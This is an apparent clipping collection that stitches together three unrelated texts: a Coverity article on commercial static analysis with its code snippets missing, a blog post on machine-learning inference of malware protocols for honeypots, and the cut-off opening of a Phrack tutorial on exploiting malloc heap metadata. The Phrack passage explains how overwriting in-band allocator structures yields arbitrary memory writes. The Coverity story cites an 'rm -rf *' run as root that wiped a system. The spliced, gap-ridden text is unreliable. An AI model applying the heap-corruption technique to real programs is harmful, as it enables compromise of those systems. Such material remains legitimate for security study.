"Why is it when I run your tool, I have to reinstall my Linux distribution from CD?"
This was indeed a puzzling question. Some poking around exposed the following chain of events: the company's make used a novel format to print out the absolute path of the directory in which the compiler ran; our script misparsed this path, producing the empty string that we gave as the destination to the Unix "cd" (change directory) command, causing it to change to the top level of the system; it ran "rm -rf *" (recursive delete) during compilation to clean up temporary files; and the build process ran as root. Summing these points produces the removal of all files on the system.

A misunderstood explanation means the error is ignored or, worse, transmuted into a false positive.

The right approach, which we have used for the past seven years, kicks off the build process and intercepts every system call it invokes. As a result, we can see everything needed for checking, including the exact executables invoked, their command lines, the directory they run in, and the version of the compiler (needed for compiler-bug workarounds). This control makes it easy to grab and precisely check all source code, to the extent of automatically changing the language dialect on a per-file basis.
To invoke our tool users need only call it with their build command as an argument:

We thought this approach was bulletproof. Unfortunately, as the astute reader has noted, it requires a command prompt. Soon after implementing it we went to a large company, so large it had a hyperspecialized build engineer, who engaged in the following dialogue:
"How do I run your tool?"
"Oh, it's easy. Just type 'cov-build' before your build command."
"Build command? I just push this [GUI] button..."
Social vs. technical. The social restriction that you cannot change anything, no matter how broken it may be, forces ugly workarounds. A representative example is: Build interposition on Windows requires running the compiler in the debugger. Unfortunately, doing so causes a very popular windows C++ compiler—Visual Studio C++ .NET 2003—to prematurely exit with a bizarre error message. After some high-stress fussing, it turns out that the compiler has a use-after-free bug, hit when code used a Microsoft-specific C language extension (certain invocations of its #using directive). The compiler runs fine in normal use; when it reads the freed memory, the original contents are still there, so everything works. However, when run with the debugger, the compiler switches to using a "debug malloc," which on each free call sets the freed memory contents to a garbage value. The subsequent read returns this value, and the compiler blows up with a fatal error. The sufficiently perverse reader can no doubt guess the "solution."a
Law: You can't check code you can't parse. Checking code deeply requires understanding the code's semantics. The most basic requirement is that you parse it. Parsing is considered a solved problem. Unfortunately, this view is naïve, rooted in the widely believed myth that programming languages exist.
The C language does not exist; neither does Java, C++, and C#. While a language may exist as an abstract idea, and even have a pile of paper (a standard) purporting to define it, a standard is not a compiler. What language do people write code in? The character strings accepted by their compiler. Further, they equate compilation with certification. A file their compiler does not reject has been certified as "C code" no matter how blatantly illegal its contents may be to a language scholar. Fed this illegal not-C code, a tool's C front-end will reject it. This problem is the tool's problem.
Compounding it (and others) the person responsible for running the tool is often not the one punished if the checked code breaks. (This person also often doesn't understand the checked code or how the tool works.) In particular, since our tool often runs as part of the nightly build, the build engineer managing this process is often in charge of ensuring the tool runs correctly. Many build engineers have a single concrete metric of success: that all tools terminate with successful exit codes. They see Coverity's tool as just another speed bump in the list of things they must get through. Guess how receptive they are to fixing code the "official" compiler accepted but the tool rejected with a parse error? This lack of interest generally extends to any aspect of the tool for which they are responsible.
Many (all?) compilers diverge from the standard. Compilers have bugs. Or are very old. Written by people who misunderstand the specification (not just for C++). Or have numerous extensions. The mere presence of these divergences causes the code they allow to appear. If a compiler accepts construct X, then given enough programmers and code, eventually X is typed, not rejected, then encased in the code base, where the static tool will, not helpfully, flag it as a parse error.
The tool can't simply ignore divergent code, since significant markets are awash in it. For example, one enormous software company once viewed conformance as a competitive disadvantage, since it would let others make tools usable in lieu of its own. Embedded software companies make great tool customers, given the bug aversion of their customers; users don't like it if their cars (or even their toasters) crash. Unfortunately, the space constraints in such systems and their tight coupling to hardware have led to an astonishing oeuvre of enthusiastically used compiler extensions.
Finally, in safety-critical software systems, changing the compiler often requires costly re-certification. Thus, we routinely see the use of decades-old compilers. While the languages these compilers accept have interesting features, strong concordance with a modern language standard is not one of them. Age begets new problems. Realistically, diagnosing a compiler's divergences requires having a copy of the compiler. How do you purchase a license for a compiler 20 versions old? Or whose company has gone out of business? Not through normal channels. We have literally resorted to buying copies off eBay.
This dynamic shows up in a softer way with non-safety-critical systems; the larger the code base, the more the sales force is rewarded for a sale, skewing sales toward such systems. Large code bases take a while to build and often get tied to the compiler used when they were born, skewing the average age of the compilers whose languages we must accept.
If divergence-induced parse errors are isolated events scattered here and there, then they don't matter. An unsound tool can skip them. Unfortunately, failure often isn't modular. In a sad, too-common story line, some crucial, purportedly "C" header file contains a blatantly illegal non-C construct. It gets included by all files. The no-longer-potential customer is treated to a constant stream of parse errors as your compiler rips through the customer's source files, rejecting each in turn. The customer's derisive stance is, "Deep source code analysis? Your tool can't even compile code. How can it find bugs?" It may find this event so amusing that it tells many friends.
Tiny set of bad snippets seen in header files. One of the first examples we encountered of illegal-construct-in-key-header file came up at a large networking company

The programmer names foo's first formal parameter a and, in a form of lexical locality, the second as well. Harmless. But any conformant compiler will reject this code. Our tool certainly did. This is not helpful; compiling no files means finding no bugs, and people don't need your tool for that. And, because its compiler accepted it, the potential customer blamed us.
Here's an opposite, less-harmless case where the programmer is trying to make two different things the same

("Useless type name in empty declaration.")
And one where readability trumps the language spec

("Invalid suffix '_beef' on integer constant.")
From the embedded space, creating a label that takes no space

("Storage size of 'x' is not known.")
Another embedded example that controls where the space comes from

("Stray '@' in program.")
A more advanced case of a nonstandard construct is

It treats the hexadecimal values of machine-code instructions as program source.
The award for most widely used extension should, perhaps, go to Microsoft support for precompiled headers. Among the most nettlesome troubles is that the compiler skips all the text before an inclusion of a precompiled header. The implication of this behavior is that the following code can be compiled without complaint:

Microsoft's on-the-fly header fabrication makes things worse.
Assembly is the most consistently troublesome construct. It's already non-portable, so compilers seem to almost deliberately use weird syntax, making it difficult to handle in a general way. Unfortunately, if a programmer uses assembly it's probably to write a widely used function, and if the programmer does it, the most likely place to put it is in a widely used header file. Here are two ways (out of many) to issue a mov instruction

The only thing shared in addition to mov is the lack of common textual keys that can be used to elide them.
We have thus far discussed only C, a simple language; C++ compilers diverge to an even worse degree, and we go to great lengths to support them. On the other hand, C# and Java have been easier, since we analyze the bytecode they compile to rather than their source.
How to parse not-C with a C front-end. OK, so programmers use extensions. How difficult is it to solve this problem? Coverity has a full-time team of some of its sharpest engineers to firefight this banal, technically uninteresting problem as their sole job. They're never done.b
We first tried to make the problem someone else's problem by using the Edison Design Group (EDG) C/C++ front-end to parse code.5 EDG has worked on how to parse real C code since 1989 and is the de facto industry standard front-end. Anyone deciding to not build a homegrown front-end will almost certainly license from EDG. All those who do build a homegrown front-end will almost certainly wish they did license EDG after a few experiences with real code. EDG aims not just for mere feature compatibility but for version-specific bug compatibility across a range of compilers. Its front-end probably resides near the limit of what a profitable company can do in terms of front-end gyrations.
Unfortunately, the creativity of compiler writers means that despite two decades of work EDG still regularly meets defeat when trying to parse real-world large code bases.c Thus, our next step is for each supported compiler, we write a set of "transformers" that mangle its personal language into something closer to what EDG can parse. The most common transformation simply rips out the offending construct. As one measure of how much C does not exist, the table here counts the lines of transformer code needed to make the languages accepted by 18 widely used compilers look vaguely like C. A line of transformer code was almost always written only when we were burned to a degree that was difficult to work around. Adding each new compiler to our list of "supported" compilers almost always requires writing some kind of transformer. Unfortunately, we sometimes need a deeper view of semantics so are forced to hack EDG directly. This method is a last resort. Still, at last count (as of early 2009) there were more than 406(!) places in the front-end where we had an #ifdef COVERITY to handle a specific, unanticipated construct.
EDG is widely used as a compiler front-end. One might think that for customers using EDG-based compilers we would be in great shape. Unfortunately, this is not necessarily the case. Even ignoring the fact that compilers based on EDG often modify EDG in idiosyncratic ways, there is no single "EDG front-end" but rather many versions and possible configurations that often accept a slightly different language variant than the (often newer) version we use. As a Sisyphean twist, assume we cannot work around and report an incompatibility. If EDG then considers the problem important enough to fix, it will roll it together with other patches into a new version.
So, to get our own fix, we must upgrade the version we use, often causing divergence from other unupgraded EDG compiler front-ends, and more issues ensue.
Social versus technical. Can we get customer source code? Almost always, no. Despite nondisclosure agreements, even for parse errors and preprocessed code, though perhaps because we are viewed as too small to sue to recoup damages. As a result, our sales engineers must type problems in reports from memory. This works as well as you might expect. It's worse for performance problems, which often show up only in large-code settings. But one shouldn't complain, since classified systems make things even worse. Can we send someone onsite to look at the code? No. You listen to recited syntax on the phone.
Back to Top
Bugs
Do bugs matter? Companies buy bug-finding tools because they see bugs as bad. However, not everyone agrees that bugs matter. The following event has occurred during numerous trials. The tool finds a clear, ugly error (memory corruption or use-after-free) in important code, and the interaction with the customer goes like thus:
"So?"
"Isn't that bad? What happens if you hit it?"
"Oh, it'll crash. We'll get a call." [Shrug.]
If developers don't feel pain, they often don't care. Indifference can arise from lack of accountability; if QA cannot reproduce a bug, then there is no blame. Other times, it's just odd:
"Is this a bug?"
"I'm just the security guy."
"That's not a bug; it's in third-party code."
"A leak? Don't know. The author left years ago..."
No, your tool is broken; that is not a bug. Given enough code, any bug-finding tool will uncover some weird examples. Given enough coders, you'll see the same thing. The following utterances were culled from trial meetings:
Upon seeing an error report saying the following loop body was dead code

"No, that's a false positive; a loop executes at least once."
For this memory corruption error (32-bit machine)

"No, I meant to do that; they are next to each other."
For this use-after-free

"No, that's OK; there is no malloc call between the free and use."
As a final example, a buffer overflow checker flagged a bunch of errors of the form

"No, ANSI lets you write 1 past the end of the array."
After heated argument, the programmer said, "We'll have to agree to disagree." We could agree about the disagreement, though we couldn't quite comprehend it. The (subtle?) interplay between 0-based offsets and buffer sizes seems to come up every few months.
While programmers are not often so egregiously mistaken, the general trend holds; a not-understood bug report is commonly labeled a false positive, rather than spurring the programmer to delve deeper. The result? We have completely abandoned some analyses that might generate difficult-to-understand reports.
How to handle cluelessness. You cannot often argue with people who are sufficiently confused about technical matters; they think you are the one who doesn't get it. They also tend to get emotional. Arguing reliably kills sales. What to do? One trick is to try to organize a large meeting so their peers do the work for you. The more people in the room, the more likely there is someone very smart and respected and cares (about bugs and about the given code), can diagnose an error (to counter arguments it's a false positive), has been burned by a similar error, loses his/her bonus for errors, or is in another group (another potential sale).

...it's not uncommon for tool improvement to be viewed as "bad" or at least a problem.

Further, a larger results meeting increases the probability that anyone laid off at a later date attended it and saw how your tool worked. True story: A networking company agreed to buy the Coverity product, and one week later laid off 110 people (not because of us). Good or bad? For the fired people it clearly wasn't a happy day. However, it had a surprising result for us at a business level; when these people were hired at other companies some suggested bringing the tool in for a trial, resulting in four sales.
What happens when you can't fix all the bugs? If you think bugs are bad enough to buy a bug-finding tool, you will fix them. Not quite. A rough heuristic is that fewer than 1,000 bugs, then fix them. More? The baseline is to record the current bugs, don't fix them but do fix any new bugs. Many companies have independently come up with this practice, which is more rational than it seems. Having a lot of bugs usually requires a lot of code. Much of it won't have changed in a long time. A reasonable, conservative heuristic is if you haven't touched code in years, don't modify it (even for a bug fix) to avoid causing any breakage.
A surprising consequence is it's not uncommon for tool improvement to be viewed as "bad" or at least a problem. Pretend you are a manager. For anything bad you can measure, you want it to diminish over time. This means you are improving something and get a bonus.
You may not understand technical issues that well, and your boss certainly doesn't understand them. Thus, you want a simple graph that looks like Figure 1; no manager gets a bonus for Figure 2. Representative story: At company X, version 2.4 of the tool found approximately 2,400 errors, and over time the company fixed about 1,200 of them. Then it upgraded to version 3.6. Suddenly there were 3,600 errors. The manager was furious for two reasons: One, we "undid" all the work his people had done, and two, how could we have missed them the first time?
How do upgrades happen when more bugs is no good? Companies independently settle on a small number of upgrade models:
Never. Guarantees "improvement";
Never before a release (where it would be most crucial). Counterintuitively happens most often in companies that believe the tool helps with release quality in that they use it to "gate" the release;
Never before a meeting. This is at least socially rational;
Upgrade, then roll back. Seems to happen at least once at large companies; and
Upgrade only checkers where they fix most errors. Common checkers include use-after-free, memory corruption, (sometimes) locking, and (sometimes) checkers that flag code contradictions.
Do missed errors matter? If people don't fix all the bugs, do missed errors (false negatives) matter? Of course not; they are invisible. Well, not always. Common cases: Potential customers intentionally introduced bugs into the system, asking "Why didn't you find it?" Many check if you find important past bugs. The easiest sale is to a group whose code you are checking that was horribly burned by a specific bug last week, and you find it. If you don't find it? No matter the hundreds of other bugs that may be the next important bug.
Here is an open secret known to bug finders: The set of bugs found by tool A is rarely a superset of another tool B, even if A is much better than B. Thus, the discussion gets pushed from "A is better than B" to "A finds some things, B finds some things" and does not help the case of A.
Adding bugs can be a problem; losing already inspected bugs is always a problem, even if you replace them with many more new errors. While users know in theory that the tool is "not a verifier," it's very different when the tool demonstrates this limitation, good and hard, by losing a few hundred known errors after an upgrade.
The easiest way to lose bugs is to add just one to your tool. A bug that causes false negatives is easy to miss. One such bug in how our early research tool's internal representation handled array references meant the analysis ignored most array uses for more than nine months. In our commercial product, blatant situations like this are prevented through detailed unit testing, but uncovering the effect of subtle bugs is still difficult because customer source code is complex and not available.
Back to Top
Churn
Users really want the same result from run to run. Even if they changed their code base. Even if they upgraded the tool. Their model of error messages? Compiler warnings. Classic determinism states: the same input + same function = same result. What users want: different input (modified code base) + different function (tool version) = same result. As a result, we find upgrades to be a constant headache. Analysis changes can easily cause the set of defects found to shift. The new-speak term we use internally is "churn." A big change from academia is that we spend considerable time and energy worrying about churn when modifying checkers. We try to cap churn at less than 5% per release. This goal means large classes of analysis tricks are disallowed since they cannot obviously guarantee minimal effect on the bugs found. Randomization is verboten, a tragedy given that it provides simple, elegant solutions to many of the exponential problems we encounter. Timeouts are also bad and sometimes used as a last resort but never encouraged.
Myth: More analysis is always good. While nondeterministic analysis might cause problems, it seems that adding more deterministic analysis is always good. Bring on path sensitivity! Theorem proving! SAT solvers! Unfortunately, no.
At the most basic level, errors found with little analysis are often better than errors found with deeper tricks. A good error is probable, a true error, easy to diagnose; best is difficult to misdiagnose. As the number of analysis steps increases, so, too, does the chance of analysis mistake, user confusion, or the perceived improbability of event sequence. No analysis equals no mistake.
Further, explaining errors is often more difficult than finding them. A misunderstood explanation means the error is ignored or, worse, transmuted into a false positive. The heuristic we follow: Whenever a checker calls a complicated analysis subroutine, we have to explain what that routine did to the user, and the user will then have to (correctly) manually replicate that tricky thing in his/her head.
Sophisticated analysis is not easy to explain or redo manually. Compounding the problem, users often lack a strong grasp on how compilers work. A representative user quote is "'Static' analysis'? What's the performance overhead?"
The end result? Since the analysis that suppresses false positives is invisible (it removes error messages rather than generates them) its sophistication has scaled far beyond what our research system did. On the other hand, the commercial Coverity product, despite its improvements, lags behind the research system in some ways because it had to drop checkers or techniques that demand too much sophistication on the part of the user. As an example, for many years we gave up on checkers that flagged concurrency errors; while finding such errors was not too difficult, explaining them to many users was. (The PREfix system also avoided reporting races for similar reasons though is now supported by Coverity.)
No bug is too foolish to check for. Given enough code, developers will write almost anything you can think of. Further, completely foolish errors can be some of the most serious; it's difficult to be extravagantly nonsensical in a harmless way. We've found many errors over the years. One of the absolute best was the following in the X Window System:

It allowed any local user to get root accessd and generated enormous press coverage, including a mention on Fox news (the Web site). The checker was written by Scott McPeak as a quick hack to get himself familiar with the system. It made it into the product not because of a perceived need but because there was no reason not to put it in. Fortunately.
Back to Top
False Positives
False positives do matter. In our experience, more than 30% easily cause problems. People ignore the tool. True bugs get lost in the false. A vicious cycle starts where low trust causes complex bugs to be labeled false positives, leading to yet lower trust. We have seen this cycle triggered even for true errors. If people don't understand an error, they label it false. And done once, induction makes the (n+1)th time easier. We initially thought false positives could be eliminated through technology. Because of this dynamic we no longer think so.
We've spent considerable technical effort to achieve low false-positive rates in our static analysis product. We aim for below 20% for "stable" checkers. When forced to choose between more bugs or fewer false positives we typically choose the latter.
Talking about "false positive rate" is simplistic since false positives are not all equal. The initial reports matter inordinately; if the first N reports are false positives (N = 3?), people tend to utter variants on "This tool sucks." Furthermore, you never want an embarrassing false positive. A stupid false positive implies the tool is stupid. ("It's not even smart enough to figure that out?") This technical mistake can cause social problems. An expensive tool needs someone with power within a company or organization to champion it. Such people often have at least one enemy. You don't want to provide ammunition that would embarrass the tool champion internally; a false positive that fits in a punchline is really bad.
Back to Top
Conclusion
While we've focused on some of the less-pleasant experiences in the commercialization of bug-finding products, two positive experiences trump them all. First, selling a static tool has become dramatically easier in recent years. There has been a seismic shift in terms of the average programmer "getting it." When you say you have a static bug-finding tool, the response is no longer "Huh?" or "Lint? Yuck." This shift seems due to static bug finders being in wider use, giving rise to nice networking effects. The person you talk to likely knows someone using such a tool, has a competitor that uses it, or has been in a company that used it.
Moreover, while seemingly vacuous tautologies have had a negative effect on technical development, a nice balancing empirical tautology holds that bug finding is worthwhile for anyone with an effective tool. If you can find code, and the checked system is big enough, and you can compile (enough of) it, then you will always find serious errors. This appears to be a law. We encourage readers to exploit it.
Back to Top
Acknowledgments
We thank Paul Twohey, Cristian Cadar, and especially Philip Guo for their helpful, last-minute proofreading. The experience covered here was the work of many. We thank all who helped build the tool and company to its current state, especially the sales engineers, support engineers, and services engineers who took the product into complex environments and were often the first to bear the brunt of problems. Without them there would be no company to document. We especially thank all the customers who tolerated the tool during its transition from research quality to production quality and the numerous champions whose insightful feedback helped us focus on what mattered.
Back to Top
References
1. Ball, T. and Rajamani, S.K. Automatically validating temporal safety properties of interfaces. In Proceedings of the Eighth international SPIN Workshop on Model Checking of Software (Toronto, Ontario, Canada). M. Dwyer, Ed. Springer-Verlag, New York, 2001, 103–122.
2. Bush, W., Pincus, J., and Sielaff, D. A static analyzer for finding dynamic programming errors. Software: Practice and Experience 30, 7 (June 2000), 775–802.
3. Coverity static analysis; http://www.coverity.com
4. Das, M., Lerner, S., and Seigle, M. ESP: Path-sensitive program verification in polynomial time. In Proceedings of the ACM SIGPLAN 2002 Conference on Programming Language Design and Implementation (Berlin, Germany, June 17–19). ACM Press, New York, 2002, 57–68.
5. Edison Design Group. EDG C compiler front-end; http://www.edg.com
6. Engler, D., Chelf, B., Chou, A., and Hallem, S. Checking system rules using system-specific, programmer-written compiler extensions. In Proceedings of the Fourth Conference on Operating System Design & Implementation (San Diego, Oct. 22–25). USENIX Association, Berkeley, CA, 2000, 1–1.
7. Flanagan, C., Leino, K.M., Lillibridge, M., Nelson, G., Saxe, J.B., and Stata, R. Extended static checking for Java. In Proceedings of the ACM SIGPLAN Conference on Programming Language Design and Implementation (Berlin, Germany, June 17–19). ACM Press, New York, 2002, 234–245.
8. Foster, J.S., Terauchi, T., and Aiken, A. Flow-sensitive type qualifiers. In Proceedings of the ACM SIGPLAN 2002 Conference on Programming Language Design and Implementation (Berlin, Germany, June 17–19). ACM Press, New York, 2002, 1–12.
9. Hallem, S., Chelf, B., Xie, Y., and Engler, D. A system and language for building system-specific, static analyses. In Proceedings of the ACM SIGPLAN Conference on Programming Language Design and Implementation (Berlin, Germany, June 17–19). ACM Press, New York, 2002, 69–82.
10. Hastings, R. and Joyce, B. Purify: Fast detection of memory leaks and access errors. In Proceedings of the Winter 1992 USENIX Conference (Berkeley, CA, Jan. 20–24). USENIX Association, Berkeley, CA, 1992, 125–138.
11. Xie, Y. and Aiken, A. Context- and path-sensitive memory leak detection. In Proceedings of the 10th European Software Engineering Conference Held Jointly with 13th ACM SIGSOFT International Symposium on Foundations of Software Engineering (Lisbon, Portugal, Sept. 5–9). ACM Press, New York, 2005, 115–125.
Back to Top
Authors
Al Bessey is a current or former employee of Coverity, Inc., a software company based in San Francisco, CA.; http://www.coverity.com
Ken Block is a current or former employee of Coverity, Inc., a software company based in San Francisco, CA.; http://www.coverity.com
Ben Chelf is a current or former employee of Coverity, Inc., a software company based in San Francisco, CA.; http://www.coverity.com
Andy Chou is a current or former employee of Coverity, Inc., a software company based in San Francisco, CA.; http://www.coverity.com
Bryan Fulton is a current or former employee of Coverity, Inc., a software company based in San Francisco, CA.; http://www.coverity.com
Seth Hallem is a current or former employee of Coverity, Inc., a software company based in San Francisco, CA.; http://www.coverity.com
Charles Henri-Gros is a current or former employee of Coverity, Inc., a software company based in San Francisco, CA.; http://www.coverity.com
Asya Kamsky is a current or former employee of Coverity, Inc., a software company based in San Francisco, CA.; http://www.coverity.com
Scott McPeak is a current or former employee of Coverity, Inc., a software company based in San Francisco, CA.; http://www.coverity.com
Dawson Engler (engler@stanford.edu) is an associate professor in the Department of Computer Science and Electrical Engineering at Stanford University, Stanford, CA, and technical advisor to Coverity, Inc., San Francisco, CA.
Back to Top
Footnotes
a. Immediately after process startup our tool writes 0 to the memory location of the "in debugger" variable that the compiler checks to decide whether to use the debug malloc.
b. Anecdotally, the dynamic memory-checking tool Purify10 had an analogous struggle at the machine-code level, where Purify's developers expended significant resources reverse engineering the various activation-record layouts used by different compilers.
c. Coverity won the dubious honor of being the single largest source of EDG bug reports after only three years of use.
d. The tautological check geteuid == 0 was intended to be geteuid() == 0. In its current form, it compares the address of geteuid to 0; given that the function exists, its address is never 0.
DOI: http://doi.acm.org/10.1145/1646353.1646374
Back to Top
Figures
Figure 1. Bugs down over time = manager bonus.
Figure 2. No bonus.
Figure. W. Bradford Paley's CodeProfiles was originally commissioned for the Whitney Museum of American Art's "CODeDOC" Exhibition and later included in MoMA's "Design and the Elastic Mind" exhibition. CodeProfiles explores the space of code itself; the program reads its source into memory, traces three points as they once moved through that space, then prints itself on the page.
Back to Top
Tables
Table. Lines of code per transformer for 18 common compilers we support.
Back to top

©2010 ACM  0001-0782/10/0200  $10.00
Permission to make digital or hard copies of all or part of this work for personal or classroom use is granted without fee provided that copies are not made or distributed for profit or commercial advantage and that copies bear this notice and the full citation on the first page. To copy otherwise, to republish, to post on servers or to redistribute to lists, requires prior specific permission and/or a fee.
The Digital Library is published by the Association for Computing Machinery. Copyright © 2010 ACM, Inc.
﻿http://blog.hugogascon.com/2012/10/reversing-malware-protocols-with_28.html 
0x5ECB1A5ED: Reversing Malware Protocols With Machine Learning
Created:
11/7/2012 6:16:12 PM
Updated:
11/7/2012 6:16:12 PM
Author:

Tags:
Malware-analysis


Reversing Malware Protocols With Machine Learning 
Last week took place the 5th ACM Workshop on Artificial Intelligence and Security ,  co-located with the 19th Conference on Computer and Communications Security in Raleigh, NC. This workshop is one of the few focused exclusively on the application of machine learning and AI based methods to privacy and computer security problems, so it was a great event to introduce our latest research, which I have done together with Tammo Krueger, Nicole Krämer and Konrad Rieck. We had the opportunity to present our method to automatically build stateful models of network protocols using machine learning.
Reverse engineering network protocols has been a popular strategy for people wanting to develop open implementations of proprietary protocols. For security researchers it is an effective way to understand how malware that is used to control infected machines in a botnet communicates with its command and control server. Sometimes, these messages are exchanged using communication channels built on top of known protocols like IRC, HTTP or P2P (some of them very quirky, as encrypted blog posts or steganographic image uploads). If the infected machine is a mobile phone is not uncommon for malware to receive and sent instructions over SMS messages.
As the complex time-consuming task it is, there have been many efforts to automate this reversing process. Some of them have focused on how to extract the complete protocol specification, which is very effective if done through taint analysis but not possible relaying only on network traces. Others have focused on understanding the protocols enough to simulate vulnerable services in honeypots (i.e. ScriptGen). Such honeypots can automatically infer parts of a protocol from network traffic but they have not been designed to track more evolved attacks that require a longer sequence of stateful communication. Close to this line of research, we have designed a probabilistic approach to model both the message content and the state machine of the protocol relying only on network traffic. Our method, called PRISMA: Protocol Inference and State Machine Analysis, is able to learn a stateful model that can be used to simulate valid communication of an unknown protocol. To construct this model, our method infers the message format, the state machine as well as rules for propagating information between states using machine learning techniques.

 
PRISMA builds on special tailored embedding and clustering techniques that allow for large-scale applications with millions of network messages. After preprocessing the network traces and embedding the messages, we define a similarity measure in order to find common structures in the data. We have explored part-based and position-based clustering through non-negative matrix factorization (NMF) to group individual messages into events, but other options for clustering algorithms can be chosen, as long as the procedure assigns a cluster label to each message.
Messages which occur at specific events in the flow of communication often exhibit similar structural features. Thus, to extract event information we exploit this structural dependency. Each of the extracted sequences of events can be seen as a path through the protocol’s state machine. To infer an approximation of this state machine, we use Markov models, where transitions are linked to probabilities. Every state in the model is linked to a set of automatically generated templates of the messages associated with each one of the states. The information flow between the different states during a communication is also automatically inferred and characterized as a set rules. Finally, we have developed a network level module called LENS, which is able to load the inferred model and simulate both sides of a real communication session.
After evaluating the system with real protocols, we have used our method on network traffic collected from malicious software. The following figure shows an example of the state machine inferred from traffic of the Koobface worm:
 

This method is specially interesting for honeypots, as simulating malware communication can help to deceive an attacker and obtain more information about its behavior. By inspecting the extracted state-machine and the associated templates and rules a malware analyst can also gain insights into the inner workings of a sample from the collected network traces alone. This also makes PRISMA a valuable method for dynamic analysis of malware beyond honeypot applications.

Attacks like call fraud and identity theft often involve sophisticated, stateful attack patterns which on top of normal communication try to harm systems on a higher semantic level than usual attack scenarios. To detect these kind of threats via specially deployed honeypots, at least a minimal understanding of the inherent state machine of a specific service is needed to lure potential attackers and to keep a communication for a sufficiently large number of steps. To this end we propose PRISMA, a method for protocol inspection and state machine analysis, which infers a functional state machine and message format of a protocol from network traffic alone. We apply our method to three real-life network traces ranging from 10.000 up to 2 million messages of both binary and textual protocols. We show that PRISMA is capable of simulating complete and correct sessions based on the learned models. A use case on malware traffic reveals the different states of the execution, rendering PRISMA a valuable tool for malware analysis.
Learning Stateful Models for Network Honeypots 
Tammo Krueger, Hugo Gascon, Nicole Krämer and Konrad Rieck
ACM Workshop on Security and Artificial Intelligence (AISEC) October 2012  
Posted by Hugo Gascón at 3:41 PM  
Email This BlogThis! Share to Twitter Share to Facebook 
Labels: Clustering , Honeypots , machine learning , malware , Markov Models , Non-negative Matrix Factorization , State Machine Inference 
﻿http://www.phrack.com/issues.html?issue=57&id=9 
.:: Phrack Magazine ::.
Created:
3/24/2010 10:09:26 AM
Updated:
3/24/2010 10:09:37 AM
Author:

Tags:
bookmark Tutorials



                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x39, Phile #0x09 of 0x12

|=---------------------=[ Once upon a free()... ]=-----------------------=|
|=-----------------------------------------------------------------------=|
|=--------------=[ anonymous <d45a312a@author.phrack.org> ]=-------------=|


On the Unix system, and later in the C standard library there are functions
to handle variable amounts of memory in a dynamic way. This allows programs
to dynamically request memory blocks from the system. The operating system
only provides a very rough system call 'brk' to change the size of a big
memory chunk, which is known as the heap.

On top of this system call the malloc interface is located, which provides
a layer between the application and the system call. It can dynamically
split the large single block into smaller chunks, free those chunks on
request of the application and avoid fragmentation while doing so. You can
compare the malloc interface to a linear file system on a large, but
dynamically sized raw device.

There are a few design goals which have to be met by the malloc interface:

        - stability
        - performance
        - avoidance of fragmentation
        - low space overhead

There are only a few common malloc implementations. The most common ones
are the System V one, implemented by AT&T, the GNU C Library implementation
and the malloc-similar interface of the Microsoft operating systems
(RtlHeap*).

Here is a table of algorithms and which operating systems use them:

Algorithm               | Operating System
------------------------+--------------------------------------------------
BSD kingsley            | 4.4BSD, AIX (compatibility), Ultrix
BSD phk                 | BSDI, FreeBSD, OpenBSD
GNU Lib C (Doug Lea)    | Hurd, Linux
System V AT&T           | Solaris, IRIX
Yorktown                | AIX (default)
RtlHeap*                | Microsoft Windows *
------------------------+--------------------------------------------------


It is interesting to see that most of the malloc implementations are very
easy to port and that they are architecture independent. Most of those
implementations just build an interface with the 'brk' system call. You can
change this behaviour with a #define. All of the implementations I have
come across are written in ANSI C and just do very minimal or even no
sanity checking. Most of them have a special compilation define that
includes asserts and extra checks. Those are turned off by default in the
final build for performance reasons. Some of the implementations also
offer extra reliability checks that will detect buffer overflows. Those
are made to detect overflows while development, not to stop exploitation
in the final release.


Storing management info in-band

Most malloc implementations share the behaviour of storing their own
management information, such as lists of used or free blocks, sizes of
memory blocks and other useful data within the heap space itself. Since the
whole idea of malloc/free is based on the dynamic requirements the
application has, the management info itself occupies a variable amount of
data too. Because of this, the implementation can seldomly just reserve a
certain amount of memory for its own purposes, but stores the management
information "in-band", right after and before the blocks of memory that are
used by the application.

Some applications do request a block of memory using the malloc interface,
which later happens to be vulnerable to a buffer overflow. This way, the
data behind the chunk can be changed. Possibly the malloc management
structures can be compromised. This has been demonstrated first by Solar
Designer's wizard-like exploit [1].

The central attack of exploiting malloc allocated buffer overflows is to
modify this management information in a way that will allow arbitrary
memory overwrites afterwards. This way pointers can be overwritten within
the writeable process memory, hence allowing modification of return
addresses, linkage tables or application level data.

To mount such an attack, we have to take a deep look within the internal
workings of the implementation we want to exploit. This article discusses
the commonly used GNU C Library and the System V implementation and how to
gain control over a process using buffer overflows which occur in malloced
buffers under Linux, Solaris and IRIX systems.


System V malloc implementation
==============================

IRIX and Solaris use an implementation which is based on self-adjusting
binary trees. The theoretical background of this implementation has been
described in [2].

The basic idea of this implementation is to keep lists of equally sized
malloc chunks within a binary tree. If you allocate two chunks of the
same size, they will be within the same node and within the same list of this
node. The tree is ordered by the size of its elements.


The TREE structure

The definition of the TREE structure can be found in the mallint.h, along
with some easy-to-use macros to access its elements. The mallint.h file
can be found in the source distribution of the Solaris operating system
[4]. Although I cannot verify that IRIX is based on the same source, there
are several similarities which indicated this. The malloc interface
internally creates the same memory layout and functions, besides some 64
bit alignments. You can utilize the Solaris source for your IRIX exploits,
too.

To allow each tree element to be used for a different purpose to avoid
overhead and force an alignment, each TREE structure element is defined
as a union:


/* the proto-word; size must be ALIGN bytes */
typedef union _w_ {
        size_t          w_i;            /* an unsigned int */
        struct _t_      *w_p;           /* a pointer */
        char            w_a[ALIGN];     /* to force size */
} WORD;


Central TREE structure definition:

/* structure of a node in the free tree */
typedef struct _t_ {
        WORD    t_s;    /* size of this element */
        WORD    t_p;    /* parent node */
        WORD    t_l;    /* left child */
        WORD    t_r;    /* right child */
        WORD    t_n;    /* next in link list */
        WORD    t_d;    /* dummy to reserve space for self-pointer */
} TREE;


The 't_s' element of the chunk header contains the rounded up value of the
size the user requested when he called malloc. Since this size is always
rounded up to a word boundary, at least the lower two bits of the 't_s'
elements are unused - they normally would have the value of zero all the
time. Instead of being zero, they are ignored for all size-related
operations. They are used as flag elements. 

From the malloc.c source it reads:

   BIT0: 1 for busy (block is in use), 0 for free.

   BIT1: if the block is busy, this bit is 1 if the preceding block in
         contiguous memory is free. Otherwise, it is always 0.


TREE Access macros:

/* usable # of bytes in the block */
#define SIZE(b)         (((b)->t_s).w_i)

/* free tree pointers */
#define PARENT(b)       (((b)->t_p).w_p)
#define LEFT(b)         (((b)->t_l).w_p)
#define RIGHT(b)        (((b)->t_r).w_p)

/* forward link in lists of small blocks */
#define AFTER(b)        (((b)->t_p).w_p)

/* forward and backward links for lists in the tree */
